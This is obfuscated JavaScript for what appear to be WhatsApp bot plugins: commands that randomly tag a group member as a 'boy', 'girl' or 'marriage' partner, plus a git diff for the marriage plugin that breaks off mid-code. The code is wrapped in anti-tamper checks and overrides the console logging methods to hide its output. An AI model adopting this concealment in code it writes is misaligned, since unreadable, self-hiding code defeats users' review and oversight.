_0x2c56ff=(function(){const _0x49de6a={};_0x49de6a['bQIPa']='nraTO';const _0x27c04f=_0x49de6a;let _0x5887cc=!![];return function(_0x1a78ac,_0x5bffd0){function _0xba2832(_0x2a3d41,_0x52665e,_0x561da2,_0x5f4fe1){return _0x3adf(_0x2a3d41-0x49,_0x561da2);}function _0x1ffe10(_0x237a5c,_0x419ec0,_0x4eb799,_0x1636a8){return _0x3adf(_0x419ec0- -0x1d1,_0x237a5c);}if(_0x27c04f[_0x1ffe10(-0x117,-0xe6,-0xc0,-0xf1)]!==_0x27c04f[_0xba2832(0x134,0x10d,0x15b,0x164)]){const _0x51c200=_0x206b17[_0xba2832(0x11e,0x134,0x130,0x11b)+'r'][_0x1ffe10(-0x10e,-0xe9,-0xc4,-0xe2)]['bind'](_0x1e0bb1),_0x5c0b0c=_0xb50f4a[_0x5ddd1e],_0x4342a8=_0x2aa52a[_0x5c0b0c]||_0x51c200;_0x51c200[_0xba2832(0x144,0x175,0x11d,0x13a)]=_0x19254e['bind'](_0x1b230d),_0x51c200['toString']=_0x4342a8[_0x1ffe10(-0xd8,-0xd4,-0xfa,-0xb2)]['bind'](_0x4342a8),_0x2f5f06[_0x5c0b0c]=_0x51c200;}else{const _0xd454cd=_0x5887cc?function(){function _0x1ecf0c(_0x16d744,_0x54ca8c,_0x5be4ec,_0x114437){return _0xba2832(_0x54ca8c-0x1e7,_0x54ca8c-0x139,_0x5be4ec,_0x114437-0xc);}if(_0x5bffd0){const _0x3040eb=_0x5bffd0[_0x1ecf0c(0x302,0x2e6,0x2e1,0x2b7)](_0x1a78ac,arguments);return _0x5bffd0=null,_0x3040eb;}}:function(){};return _0x5887cc=![],_0xd454cd;}};}()),_0x5343bd=_0x2c56ff(this,function(){function _0x1add99(_0x3f48af,_0x47ae86,_0x288af8,_0x39e432){return _0x3adf(_0x288af8- -0x100,_0x47ae86);}const _0x2c0128={};function _0x274812(_0x26f75c,_0x22bb15,_0x53631a,_0x95f609){return _0x3adf(_0x53631a-0x264,_0x22bb15);}_0x2c0128[_0x1add99(-0x55,-0x4d,-0x48,-0x5c)]='(((.+)+)+)'+'+$';const _0x21aa44=_0x2c0128;return _0x5343bd[_0x1add99(-0x15,-0x22,-0x3,0x1d)]()['search'](_0x21aa44['drZiY'])[_0x1add99(-0x2d,-0x1,-0x3,0x2e)]()[_0x1add99(-0x31,-0x1e,-0x2b,-0x2d)+'r'](_0x5343bd)['search'](_0x21aa44[_0x274812(0x311,0x302,0x31c,0x348)]);});_0x5343bd();function _0x36cd(){const _0x1351b1=['\x20is\x20your\x20b','aauTV','qgJwA','367732LKIzhc','tumhari\x20Ba','Iqwjq','larka','wgOBd','qYNdV','table','iyxVp','rn\x20this\x22)(','xLQdh','tumhara\x20Ba','message','floor','split','../command','pattern','kuri','zQmCv','BgOWC','โŒ\x20This\x20com','filename','constructo','andsome\x20bo','search','CSxsu','ipants\x20fou','58563NFXurn','chi!*\x20\x0a\x0a@','irl\x20from\x20t','gTLaU','1347560OGqqAV','he\x20group','log','fun','error','๐Ÿ‘ฆ\x20*Yeh\x20lo\x20','warn','participan','info','gjadV','prototype','akWMP','includes','bQIPa','elSIh','ble\x20partic','irl!\x20๐Ÿ’–','random','614199jJuUzk','(((.+)+)+)','OfVKe','Randomly\x20s','{}.constru','larki','d\x20in\x20group','KClAI','console','srZaB','elects\x20a\x20b','__proto__','bachi\x20comm','toString','desc','432eyaEvk','and:','1080653sDbaBy','chat','mand\x20can\x20o','length','1597764EHQFwq','GsBij','oy\x20from\x20th','alias','ctor(\x22retu','XqnNw','trace','nction()\x20','react','OGzxl','nly\x20be\x20use','y!\x20๐Ÿ˜Ž','Wobuo','โŒ\x20No\x20eligi','wOFdU','bind','iqdFJ','EZmLX','category','2XfIvIR','bacha\x20comm','JxtrN','sendMessag','apply','223286czObqh','drZiY','eautiful\x20g','โŒ\x20Error:\x20','cha!*\x20\x0a\x0a@','user'];_0x36cd=function(){return _0x1351b1;};return _0x36cd();}const _0x41b36d=(function(){let _0x5edc08=!![];return function(_0x58dcc6,_0x36db01){const _0xb435bc=_0x5edc08?function(){function _0x4db384(_0x3cc0c9,_0x455055,_0x5cf65f,_0x16a30a){return _0x3adf(_0x455055- -0x1a,_0x3cc0c9);}if(_0x36db01){const _0x301e8a=_0x36db01[_0x4db384(0x86,0x9c,0xb2,0x7f)](_0x58dcc6,arguments);return _0x36db01=null,_0x301e8a;}}:function(){};return _0x5edc08=![],_0xb435bc;};}()),_0x50842f=_0x41b36d(this,function(){const _0x5ceaa7={'aauTV':_0x5c395f(0xd,-0xb,0x15,0x21)+'+$','elSIh':function(_0x56f1e9,_0xee8d86){return _0x56f1e9!==_0xee8d86;},'Wobuo':_0x5c395f(-0x33,-0x1a,-0x13,-0x1),'GsBij':_0x2c7552(-0x23f,-0x238,-0x237,-0x240),'QcPFC':function(_0x372925,_0x60eadd){return _0x372925(_0x60eadd);},'iqdFJ':function(_0x1e61c1,_0xf416c3){return _0x1e61c1+_0xf416c3;},'fFHjD':'return\x20(fu'+_0x5c395f(-0x5d,-0x28,-0x36,-0x3f),'IOppV':_0x2c7552(-0x232,-0x24d,-0x20d,-0x210)+_0x2c7552(-0x283,-0x2a7,-0x26f,-0x259)+_0x2c7552(-0x25e,-0x28a,-0x244,-0x236)+'\x20)','OfVKe':_0x5c395f(0x5,0x14,0x4,0x29),'XqnNw':_0x5c395f(0x22,0x1e,0x8,0x38),'Iqwjq':_0x2c7552(-0x244,-0x24a,-0x22d,-0x21c),'zQmCv':'exception','iyxVp':_0x2c7552(-0x260,-0x239,-0x27c,-0x241),'srZaB':_0x5c395f(-0x10,-0x69,-0x37,-0x64),'xYaKy':function(_0x2256a8,_0xc4496a){return _0x2256a8<_0xc4496a;},'EZmLX':'wgOBd'};let _0x48ad84;function _0x5c395f(_0x1b03c8,_0x203c8b,_0x1103d9,_0x4a3c0b){return _0x3adf(_0x1103d9- -0xdc,_0x203c8b);}try{if(_0x5ceaa7[_0x2c7552(-0x23a,-0x20b,-0x237,-0x243)](_0x5ceaa7[_0x2c7552(-0x27b,-0x2a2,-0x2a9,-0x27e)],_0x5ceaa7[_0x2c7552(-0x286,-0x2ad,-0x269,-0x257)])){const _0x5dcbce=_0x5ceaa7['QcPFC'](Function,_0x5ceaa7[_0x2c7552(-0x277,-0x25c,-0x270,-0x284)](_0x5ceaa7['fFHjD']+_0x5ceaa7['IOppV'],');'));_0x48ad84=_0x5dcbce();}else{const _0x25cd9b=_0x464004?function(){function _0x175ecd(_0x22a69d,_0xef8a00,_0x28e495,_0x100e52){return _0x5c395f(_0x22a69d-0x126,_0x100e52,_0x28e495- -0x26c,_0x100e52-0x6d);}if(_0x27e542){const _0xfd71fd=_0x29110e[_0x175ecd(-0x2c3,-0x283,-0x292,-0x28a)](_0x169a19,arguments);return _0x204fac=null,_0xfd71fd;}}:function(){};return _0x50c84d=![],_0x25cd9b;}}catch(_0x442806){_0x48ad84=window;}const _0xdf970e=_0x48ad84[_0x2c7552(-0x22e,-0x1fb,-0x241,-0x20a)]=_0x48ad84[_0x2c7552(-0x22e,-0x234,-0x206,-0x25c)]||{},_0x1cd1e0=[_0x5ceaa7[_0x5c395f(0x6,-0xe,0x16,-0x9)],_0x5ceaa7[_0x2c7552(-0x282,-0x25f,-0x256,-0x26a)],_0x2c7552(-0x240,-0x237,-0x220,-0x253),_0x5ceaa7[_0x5c395f(0x16,-0x15,-0x1a,0xa)],_0x5ceaa7[_0x2c7552(-0x255,-0x237,-0x27c,-0x26f)],_0x5ceaa7[_0x2c7552(-0x25f,-0x288,-0x264,-0x230)],_0x5ceaa7[_0x2c7552(-0x22d,-0x253,-0x200,-0x203)]];function _0x2c7552(_0x4d0f94,_0x45d682,_0x165d48,_0x173779){return _0x3adf(_0x4d0f94- -0x326,_0x45d682);}for(let _0x3bc2cb=-0x15ca*-0x1+-0x709*-0x1+0x2f*-0x9d;_0x5ceaa7['xYaKy'](_0x3bc2cb,_0x1cd1e0['length']);_0x3bc2cb++){if(_0x5ceaa7[_0x5c395f(-0x23,-0x14,-0x2c,-0x2b)]!==_0x2c7552(-0x262,-0x26a,-0x291,-0x28a))return _0x30aeac[_0x2c7552(-0x229,-0x23a,-0x232,-0x23a)]()[_0x2c7552(-0x24f,-0x22b,-0x220,-0x26f)](_0x5ceaa7[_0x5c395f(0x1,0x4,-0x1e,-0xc)])['toString']()[_0x5c395f(0x1b,-0x20,-0x7,-0x22)+'r'](_0x62e821)[_0x5c395f(-0x2f,-0x19,-0x5,0x1a)](_0x5ceaa7[_0x5c395f(0x6,-0x4c,-0x1e,0xe)]);else{const _0x17c4c0=_0x41b36d[_0x2c7552(-0x251,-0x233,-0x26d,-0x280)+'r'][_0x2c7552(-0x23e,-0x258,-0x243,-0x250)][_0x5c395f(-0x2c,-0x3,-0x2e,-0x4)](_0x41b36d),_0x2c8ebb=_0x1cd1e0[_0x3bc2cb],_0x536943=_0xdf970e[_0x2c8ebb]||_0x17c4c0;_0x17c4c0[_0x5c395f(0x29,0x22,0x1f,-0x10)]=_0x41b36d[_0x2c7552(-0x278,-0x27f,-0x261,-0x271)](_0x41b36d),_0x17c4c0['toString']=_0x536943[_0x2c7552(-0x229,-0x23f,-0x21f,-0x25c)][_0x2c7552(-0x278,-0x292,-0x27e,-0x29a)](_0x536943),_0xdf970e[_0x2c8ebb]=_0x17c4c0;}}});_0x50842f();const {cmd}=require(_0x133a16(0x99,0x6f,0x5d,0x74)),_0x4e215c={};_0x4e215c[_0x133a16(0x6c,0x86,0x5a,0x75)]='bacha';function _0x133a16(_0x1cb351,_0x2ec5e5,_0x47a340,_0x39db5e){return _0x3adf(_0x39db5e- -0x5a,_0x2ec5e5);}_0x4e215c[_0xdd1eb5(-0x82,-0x64,-0x43,-0x68)]=['boy',_0x133a16(0x66,0x84,0x93,0x69)],_0x4e215c['desc']='Randomly\x20s'+_0xdd1eb5(-0x5,-0x2a,-0x5,-0x10)+_0xdd1eb5(-0x89,-0x74,-0x3f,-0x69)+'e\x20group',_0x4e215c[_0x133a16(0x40,0x6c,0x2a,0x4d)]='๐Ÿ‘ฆ';function _0xdd1eb5(_0x31f245,_0x576264,_0x18e87c,_0x49d1ce){return _0x3adf(_0x49d1ce- -0x10a,_0x31f245);}_0x4e215c[_0x133a16(0x75,0x8a,0x2f,0x57)]=_0xdd1eb5(-0x51,-0x41,0x4,-0x29),_0x4e215c['filename']=__filename,cmd(_0x4e215c,async(_0x23b77b,_0x3bce88,_0x55e3eb,{isGroup:_0x57162a,groupMetadata:_0x5895b1,reply:_0x5541cd,sender:_0x16c1e3})=>{function _0x200536(_0x2f04d9,_0x45b6cc,_0x200769,_0xb503d){return _0xdd1eb5(_0x2f04d9,_0x45b6cc-0x157,_0x200769-0x173,_0x200769-0x10b);}function _0xbc6bf1(_0x4d08f7,_0x2e5201,_0x569825,_0xf1380a){return _0x133a16(_0x4d08f7-0x73,_0x2e5201,_0x569825-0x17e,_0x4d08f7-0x1aa);}const _0x4b04cf={'OoqBi':function(_0x38019a,_0x2bce66){return _0x38019a(_0x2bce66);},'CSxsu':function(_0x369dfe,_0x549e73){return _0x369dfe<_0x549e73;},'wOFdU':_0x200536(0xd5,0xa9,0xad,0x9e)+_0x200536(0xf9,0xbe,0xee,0xc0)+_0xbc6bf1(0x229,0x220,0x21c,0x233)+'nd!','BgOWC':function(_0x42157b,_0x48df2c){return _0x42157b*_0x48df2c;},'akWMP':function(_0x49b642,_0x13ded6){return _0x49b642!==_0x13ded6;},'qgJwA':'Ewhjp','KClAI':'Error\x20in\x20.'+_0x200536(0x84,0xe0,0xb4,0xba)+_0x200536(0x119,0xfd,0x101,0x12f)};try{if(!_0x57162a)return _0x4b04cf['OoqBi'](_0x5541cd,_0xbc6bf1(0x223,0x245,0x202,0x1fe)+_0x200536(0x11d,0x12b,0x104,0xd3)+'nly\x20be\x20use'+_0x200536(0x106,0x101,0xf7,0xf5)+'s!');const _0x378a5c=_0x5895b1['participan'+'ts'],_0x5608d1=_0x378a5c['filter'](_0x2c89a3=>!_0x2c89a3['id'][_0x200536(0x114,0xbc,0xeb,0xcf)](_0x23b77b['user']['id'][_0xbc6bf1(0x21d,0x1ec,0x21e,0x24e)]('@')[-0xcd9+0x1bbf+-0xee6]));if(_0x4b04cf[_0xbc6bf1(0x228,0x248,0x221,0x230)](_0x5608d1[_0x200536(0x132,0x133,0x105,0xe9)],0xc0b*0x2+-0xc0e+-0x1*0xc07))return _0x4b04cf['OoqBi'](_0x5541cd,_0x4b04cf[_0xbc6bf1(0x1fd,0x1dd,0x219,0x22b)]);const _0x489e41=_0x5608d1[Math[_0xbc6bf1(0x21c,0x1f7,0x24f,0x240)](_0x4b04cf[_0xbc6bf1(0x222,0x23b,0x20d,0x214)](Math[_0xbc6bf1(0x23f,0x218,0x243,0x25a)](),_0x5608d1[_0xbc6bf1(0x254,0x22f,0x228,0x23d)]))];await _0x23b77b[_0x200536(0x8c,0xbd,0xb6,0x9d)+'e'](_0x3bce88[_0x200536(0x11f,0x128,0x103,0xfa)],{'text':_0xbc6bf1(0x233,0x207,0x232,0x225)+_0xbc6bf1(0x21a,0x24a,0x1f4,0x1f8)+_0x200536(0x9f,0xae,0xbc,0xe2)+_0x489e41['id'][_0x200536(0xf3,0xd7,0xce,0xc4)]('@')[0x244a+0x2*-0xfe2+-0x486]+('\x20is\x20your\x20h'+_0xbc6bf1(0x226,0x20b,0x255,0x206)+_0xbc6bf1(0x1fa,0x1f6,0x1e7,0x1cb)),'mentions':[_0x489e41['id']]},{'quoted':_0x3bce88});}catch(_0x2ecc52){if(_0x4b04cf[_0x200536(0xfc,0xc2,0xea,0xd0)]('COXhw',_0x4b04cf[_0xbc6bf1(0x20f,0x213,0x226,0x221)]))console['error'](_0x4b04cf[_0xbc6bf1(0x247,0x246,0x241,0x26e)],_0x2ecc52),_0x4b04cf['OoqBi'](_0x5541cd,_0x200536(0xcf,0xd8,0xbb,0xd7)+_0x2ecc52[_0x200536(0xbf,0xb3,0xcc,0xe3)]);else{if(_0x54f4fe){const _0x31e5d0=_0x4fef7c[_0xbc6bf1(0x206,0x1da,0x1fd,0x1e6)](_0xf38407,arguments);return _0x2b6cb9=null,_0x31e5d0;}}}});function _0x3adf(_0x477ed0,_0x5343bd){const _0x2c56ff=_0x36cd();return _0x3adf=function(_0x36cd81,_0x3adf8d){_0x36cd81=_0x36cd81-(-0x11bd+0x6*-0x509+0x3092);let _0x56669a=_0x2c56ff[_0x36cd81];return _0x56669a;},_0x3adf(_0x477ed0,_0x5343bd);}const _0x128ba8={};_0x128ba8[_0x133a16(0x4c,0x80,0x9e,0x75)]='bachi',_0x128ba8[_0x133a16(0x4e,0x19,0x15,0x48)]=['girl',_0x133a16(0x51,0x46,0x5c,0x76),_0xdd1eb5(-0x26,-0x40,-0x2a,-0x15)],_0x128ba8[_0xdd1eb5(-0x26,-0x6,0x2,-0xc)]=_0x133a16(0x75,0x7d,0xbc,0x99)+'elects\x20a\x20g'+_0x133a16(0xb4,0xa0,0x76,0x82)+_0x133a16(0x73,0x84,0xad,0x85),_0x128ba8[_0x133a16(0x3d,0x28,0x43,0x4d)]='๐Ÿ‘ง',_0x128ba8[_0x133a16(0x51,0x68,0x61,0x57)]='fun',_0x128ba8[_0xdd1eb5(-0x50,-0x3,-0x35,-0x36)]=__filename,cmd(_0x128ba8,async(_0x1c67d6,_0x35d642,_0x10f6f4,{isGroup:_0x548850,groupMetadata:_0x5ce055,reply:_0x3567bd,sender:_0x1b2f74})=>{const _0xb157b7={'gTLaU':function(_0x17a0e2,_0x4a4186){return _0x17a0e2(_0x4a4186);},'OGzxl':function(_0x2c691c,_0x3315ef){return _0x2c691c<_0x3315ef;},'qYNdV':function(_0x26a0b8,_0x10be24){return _0x26a0b8(_0x10be24);},'JxtrN':function(_0x346a66,_0x141fc6){return _0x346a66*_0x141fc6;},'DSKhG':'Error\x20in\x20.'+_0x1ccfff(-0x1b3,-0x199,-0x183,-0x196)+_0x289d95(0x14,0x15,0x3b,0x3b)};function _0x1ccfff(_0x5e10b1,_0x5a96e4,_0x240b37,_0x356aa6){return _0xdd1eb5(_0x240b37,_0x5a96e4-0x1bb,_0x240b37-0x176,_0x356aa6- -0x188);}function _0x289d95(_0x26e5f1,_0x4ab4d9,_0x472760,_0x5bd447){return _0x133a16(_0x26e5f1-0x7c,_0x472760,_0x472760-0x140,_0x26e5f1- -0x92);}try{if(!_0x548850)return _0xb157b7[_0x1ccfff(-0x1b9,-0x1c9,-0x194,-0x1b5)](_0x3567bd,_0x289d95(-0x19,-0x37,-0x26,-0xe)+_0x1ccfff(-0x15e,-0x160,-0x167,-0x18f)+_0x289d95(-0x43,-0x16,-0x23,-0x4f)+_0x1ccfff(-0x1b8,-0x186,-0x16a,-0x19c)+'s!');const _0x44ec21=_0x5ce055[_0x289d95(-0x7,-0x8,0x9,-0xf)+'ts'],_0x1a858b=_0x44ec21['filter'](_0x31fbf1=>!_0x31fbf1['id'][_0x1ccfff(-0x185,-0x194,-0x1bd,-0x1a8)](_0x1c67d6[_0x289d95(-0x30,-0x3e,-0x3b,-0x58)]['id'][_0x289d95(-0x1f,-0xf,-0x42,-0x2b)]('@')[0x87d+-0x1242+0x9c5]));if(_0xb157b7[_0x1ccfff(-0x1d2,-0x1bd,-0x1c0,-0x1ea)](_0x1a858b[_0x289d95(0x18,-0xf,0x19,-0xe)],0xbf*0x27+-0x11*0xce+0xf6a*-0x1))return _0xb157b7[_0x289d95(-0x27,-0x36,-0x35,-0x18)](_0x3567bd,_0x289d95(-0x40,-0x31,-0x6a,-0x59)+_0x1ccfff(-0x186,-0x18b,-0x1b3,-0x1a5)+_0x289d95(-0x13,0x1b,-0x3c,-0xd)+'nd!');const _0x12ada4=_0x1a858b[Math['floor'](_0xb157b7[_0x289d95(-0x38,-0x4b,-0x57,-0x57)](Math[_0x289d95(0x3,0x28,-0x26,-0x12)](),_0x1a858b[_0x289d95(0x18,0x40,0x3e,0x30)]))];await _0x1c67d6[_0x1ccfff(-0x1f4,-0x1f7,-0x1c4,-0x1dd)+'e'](_0x35d642['chat'],{'text':'๐Ÿ‘ง\x20*Yeh\x20lo\x20'+_0x1ccfff(-0x1ab,-0x19f,-0x1f6,-0x1d1)+_0x289d95(-0x11,-0x31,-0xc,0x12)+_0x12ada4['id'][_0x1ccfff(-0x1e6,-0x1f3,-0x1a1,-0x1c5)]('@')[0xc*-0x7f+-0xedc+0x24*0x94]+(_0x289d95(-0x2f,-0x5d,-0x4a,0x0)+_0x289d95(-0x33,-0x38,-0x17,-0x40)+_0x289d95(0x2,0x17,-0x2b,0xb)),'mentions':[_0x12ada4['id']]},{'quoted':_0x35d642});}catch(_0x334109){console[_0x289d95(-0xa,-0x11,0x16,0x3)](_0xb157b7['DSKhG'],_0x334109),_0xb157b7[_0x289d95(-0x27,0x9,-0x9,-0x4f)](_0x3567bd,_0x1ccfff(-0x1c3,-0x1fd,-0x1d2,-0x1d8)+_0x334109[_0x1ccfff(-0x1b6,-0x1b3,-0x1e2,-0x1c7)]);}}); diff --git a/plugins/fan-shadi.js b/plugins/fan-shadi.js new file mode 100644 index 0000000000000000000000000000000000000000..abc39698ae96a2b3d025342498a95a5df9cc2255 --- /dev/null +++ b/plugins/fan-shadi.js @@ -0,0 +1 @@ +(function(_0x28f8ac,_0x2455e4){function _0x138a06(_0x277ad9,_0xe36f88,_0x1f9314,_0x21892f){return _0x356f(_0x1f9314- -0x17a,_0x277ad9);}const _0x15957f=_0x28f8ac();function _0x2ec8ba(_0xc8a80d,_0x48c440,_0x5ad2a3,_0x465cf6){return _0x356f(_0x465cf6-0xe6,_0xc8a80d);}while(!![]){try{const _0x7fff4=-parseInt(_0x2ec8ba(0x248,0x226,0x21e,0x21e))/(0x6*-0x4ce+-0x223e+-0x3f13*-0x1)*(-parseInt(_0x2ec8ba(0x20c,0x224,0x1e8,0x219))/(-0x1143+-0xb*0x342+0x5*0xa9f))+parseInt(_0x2ec8ba(0x1fc,0x213,0x1fe,0x1fb))/(0x1*-0x1b53+0x19cc+-0x18a*-0x1)+parseInt(_0x138a06(-0x51,0x1,-0x24,-0x11))/(0x1700+0x356+-0x3*0x8c6)*(-parseInt(_0x138a06(-0x59,-0xa8,-0x80,-0xa2))/(0xcc1+-0x270e+0xd29*0x2))+-parseInt(_0x138a06(-0x48,-0x17,-0x30,-0x39))/(0x118e*0x2+0xa*-0x1b5+0x4*-0x481)+-parseInt(_0x2ec8ba(0x21a,0x271,0x240,0x245))/(-0xc95+0x75c+0x540)+-parseInt(_0x2ec8ba(0x27a,0x259,0x258,0x242))/(0x183+0x1*0x29f+-0x41a)*(-parseInt(_0x138a06(-0x52,-0x76,-0x4a,-0x4a))/(0x1b66+-0xa0*-0x26+-0x331d))+parseInt(_0x138a06(-0x15,-0x1a,-0x41,-0x31))/(0x5*0x739+0x2309+-0x5ed*0xc)*(parseInt(_0x2ec8ba(0x205,0x1eb,0x1e5,0x201))/(0x5*0x4eb+-0x15bb+-0x7*0x67));if(_0x7fff4===_0x2455e4)break;else _0x15957f['push'](_0x15957f['shift']());}catch(_0xeee744){_0x15957f['push'](_0x15957f['shift']());}}}(_0x1cfd,-0x137580+-0x2*-0xaa2c+0x1*0x1dfafd));function _0x356f(_0x411886,_0x1cfd9c){const _0x356f53=_0x1cfd();return _0x356f=function(_0x18fd4a,_0x581972){_0x18fd4a=_0x18fd4a-(-0x1*0x143a+-0x2*-0x629+0x1*0x8dd);let _0x5e2016=_0x356f53[_0x18fd4a];return _0x5e2016;},_0x356f(_0x411886,_0x1cfd9c);}const _0x411886=(function(){const _0x1ae03b={'WwpFV':function(_0x447625,_0xead3be){return _0x447625!==_0xead3be;},'YeiBI':_0x46476f(-0x192,-0x1bf,-0x1f9,-0x1e4),'YrYuH':function(_0x52a17e,_0x3ac004){return _0x52a17e+_0x3ac004;},'hmOMJ':'{}.constru'+_0x46476f(-0x1c6,-0x1f3,-0x1fc,-0x1c4)+_0x47ac27(0x3d8,0x3de,0x3f5,0x3d3)+'\x20)','hyrvk':function(_0x327a22){return _0x327a22();}};function _0x47ac27(_0x112052,_0x3c6f4c,_0x261152,_0xb151fa){return _0x356f(_0x112052-0x2dc,_0xb151fa);}let _0x25c051=!![];function _0x46476f(_0x426b72,_0x4f4206,_0x30f7d3,_0x22dc4b){return _0x356f(_0x4f4206- -0x327,_0x30f7d3);}return function(_0x36c0d7,_0x201ee9){const _0x342d5e={'RPIbe':function(_0x1858f4,_0x5e333a){return _0x1ae03b['YrYuH'](_0x1858f4,_0x5e333a);},'wGrhe':function(_0x4095f9,_0x227d1f){return _0x4095f9+_0x227d1f;},'jXJBD':_0x349922(0x12e,0x148,0x130,0x15e)+_0x349922(0xdd,0x104,0xd1,0x10c),'MwOiw':_0x1ae03b['hmOMJ'],'NYLAh':function(_0x32921a){function _0x22ed86(_0x5035e2,_0xcceba9,_0x62b988,_0x2b90fc){return _0x35bace(_0x5035e2-0x1bb,_0xcceba9,_0x62b988-0x12b,_0x5035e2-0x1e5);}return _0x1ae03b[_0x22ed86(0x1ba,0x1bc,0x1b2,0x1a8)](_0x32921a);}},_0x4cc40b=_0x25c051?function(){function _0xddce6b(_0x5f273a,_0x2b003f,_0x5345e3,_0x269703){return _0x349922(_0x269703,_0x5345e3- -0x2c8,_0x5345e3-0x4a,_0x269703-0x17);}function _0x39f6a3(_0x4f751c,_0x59e8e9,_0x175c6a,_0x686546){return _0x349922(_0x4f751c,_0x686546- -0x35c,_0x175c6a-0x1bc,_0x686546-0x1dc);}if(_0x1ae03b[_0x39f6a3(-0x272,-0x21d,-0x288,-0x256)](_0x1ae03b[_0xddce6b(-0x1a4,-0x177,-0x1ac,-0x1d4)],_0x1ae03b[_0x39f6a3(-0x266,-0x22f,-0x245,-0x240)])){const _0x3e6b06=_0x37523c(_0x342d5e[_0xddce6b(-0x14e,-0x170,-0x16f,-0x160)](_0x342d5e[_0x39f6a3(-0x22b,-0x221,-0x1ce,-0x208)](_0x342d5e[_0x39f6a3(-0x215,-0x23f,-0x1d8,-0x212)],_0x342d5e[_0x39f6a3(-0x21a,-0x248,-0x24c,-0x233)]),');'));_0x111221=_0x342d5e[_0xddce6b(-0x1bf,-0x193,-0x1a5,-0x1b0)](_0x3e6b06);}else{if(_0x201ee9){const _0x350f82=_0x201ee9[_0x39f6a3(-0x28c,-0x22c,-0x258,-0x25d)](_0x36c0d7,arguments);return _0x201ee9=null,_0x350f82;}}}:function(){};_0x25c051=![];function _0x35bace(_0x4ae6c4,_0x47dd41,_0x59a775,_0x2e391b){return _0x47ac27(_0x2e391b- -0x44d,_0x47dd41-0x188,_0x59a775-0x1d6,_0x47dd41);}function _0x349922(_0x3eaa1a,_0x189366,_0x4e5234,_0x114c6e){return _0x46476f(_0x3eaa1a-0x118,_0x189366-0x32d,_0x3eaa1a,_0x114c6e-0x1c4);}return _0x4cc40b;};}()),_0x40119f=_0x411886(this,function(){const _0x1ae398={};_0x1ae398[_0x41fd9b(0x516,0x501,0x52c,0x4e0)]='(((.+)+)+)'+'+$';const _0x36d092=_0x1ae398;function _0x41fd9b(_0x47e9fc,_0x5ac972,_0xcb28c8,_0x473e62){return _0x356f(_0x5ac972-0x3b8,_0x473e62);}function _0x282127(_0x16657b,_0x41036b,_0x1edb53,_0x32624b){return _0x356f(_0x32624b-0x13,_0x1edb53);}return _0x40119f[_0x41fd9b(0x4ab,0x4d7,0x4f7,0x50b)]()[_0x282127(0x153,0x17a,0x15e,0x179)](_0x282127(0xf5,0x114,0x107,0x126)+'+$')[_0x282127(0x14e,0x15f,0x15f,0x132)]()[_0x282127(0x128,0x12c,0xe3,0x11a)+'r'](_0x40119f)[_0x41fd9b(0x530,0x51e,0x4f1,0x52d)](_0x36d092[_0x282127(0x13b,0x147,0x18a,0x15c)]);});function _0x1cfd(){const _0x5ba44f=['ubarak!*\x20๐Ÿ’’','hyrvk','axios','โŒ\x20Error\x20in','hxwUP','7614450MSBWzB','split','hlstM','pattern','wGrhe','warn','zPNIG','data','happily\x20ev','RPIbe','lLZad','sers\x20for\x20m','1968284ROFCYf','vWCLM','exception','sendMessag','RvwPM','message','488VHvWpn','participan','BdROH','3575957IzZkzD','th\x20a\x20weddi','rtMDG','shadi','caption','gh\x20partici','marriage','search','โŒ\x20*Error\x20i','yMFQE','PFDDm','{}.constru','ZcrbM','ONTrL','lGodu','apply','5iEoGkH','vyXWe','rn\x20this\x22)(','bgPGd','nction()\x20','floor','WwpFV','TFwZI','GhGVj','```','gifPlaybac','Sayes','error','constructo','marige','mand\x20can\x20o','alias','\x20.marige\x20c','__proto__','OqsOL','noDLv','LwIYF','../lib/fet','info','YJegz','(((.+)+)+)','dtFID','1320003tNlxWk','YeiBI','UPDFT','Randomly\x20p','\x0a\x0a๐Ÿ‘ฐ\x20@','command:*\x0a','17314EPaulS','https://ap','NYLAh','url','toString','vRJDJ','chGif','CgyNO','MwOiw','prototype','arriage!','includes','kTTTr','table','length','bind','both\x20live\x20','chat','jXoSp','pants\x20to\x20p','filename','31608tfCOng','โŒ\x20This\x20com','get','20198XUhhNp','ctor(\x22retu','โŒ\x20Not\x20enou','d\x20in\x20group','BSGyR','27ZDdais','13480yHRkUD','erform\x20a\x20m','hmMEy','arriage\x20wi','console','XrWoy','ng\x20GIF','ifHew','nly\x20be\x20use','return\x20(fu','desc','jXJBD'];_0x1cfd=function(){return _0x5ba44f;};return _0x1cfd();}_0x40119f();const _0x3281a0=(function(){const _0x405bdd={};_0x405bdd[_0x27e981(0x48d,0x478,0x44c,0x4b0)]=function(_0x4cbcd3,_0x318ec4){return _0x4cbcd3+_0x318ec4;},_0x405bdd[_0x27e981(0x4a6,0x482,0x4ae,0x452)]='return\x20(fu'+_0x4a9a3d(-0x93,-0xc3,-0x6f,-0xb7),_0x405bdd[_0x4a9a3d(-0x30,-0x2c,-0x5e,0x8)]=_0x27e981(0x488,0x477,0x464,0x481),_0x405bdd[_0x27e981(0x40a,0x42a,0x40b,0x40c)]=_0x4a9a3d(-0x8b,-0x55,-0xb9,-0xc5),_0x405bdd[_0x27e981(0x474,0x468,0x486,0x443)]=_0x27e981(0x482,0x480,0x48b,0x455),_0x405bdd['jXoSp']='trace';function _0x27e981(_0x3e9207,_0x4396ef,_0x1f56b3,_0x26b8fb){return _0x356f(_0x4396ef-0x328,_0x26b8fb);}_0x405bdd['NRCId']=function(_0x3867a9,_0x45151a){return _0x3867a9<_0x45151a;},_0x405bdd[_0x4a9a3d(-0x6f,-0x7c,-0x48,-0x70)]=function(_0x4c98d6,_0x914471){return _0x4c98d6===_0x914471;};function _0x4a9a3d(_0xdadbc4,_0x19629d,_0x27600a,_0x52c620){return _0x356f(_0xdadbc4- -0x191,_0x19629d);}_0x405bdd['bgPGd']=_0x4a9a3d(-0x6a,-0x8a,-0xa2,-0x3f);const _0x55464b=_0x405bdd;let _0x4305bd=!![];return function(_0x303f89,_0x4a88af){function _0x230cc7(_0x4f6a76,_0x28a8fd,_0x17cd76,_0x233bff){return _0x27e981(_0x4f6a76-0x1ca,_0x233bff- -0x67f,_0x17cd76-0x96,_0x4f6a76);}function _0x509ebe(_0x10f06d,_0x38140a,_0x43b01b,_0x30da2e){return _0x27e981(_0x10f06d-0x171,_0x38140a- -0x112,_0x43b01b-0x92,_0x43b01b);}if(_0x55464b['CgyNO'](_0x55464b[_0x230cc7(-0x262,-0x27c,-0x223,-0x25a)],_0x55464b[_0x509ebe(0x2f8,0x313,0x2f9,0x335)])){const _0x374e0b=_0x4305bd?function(){function _0x33858e(_0x74fb7d,_0x2064b6,_0x498ecf,_0x54c832){return 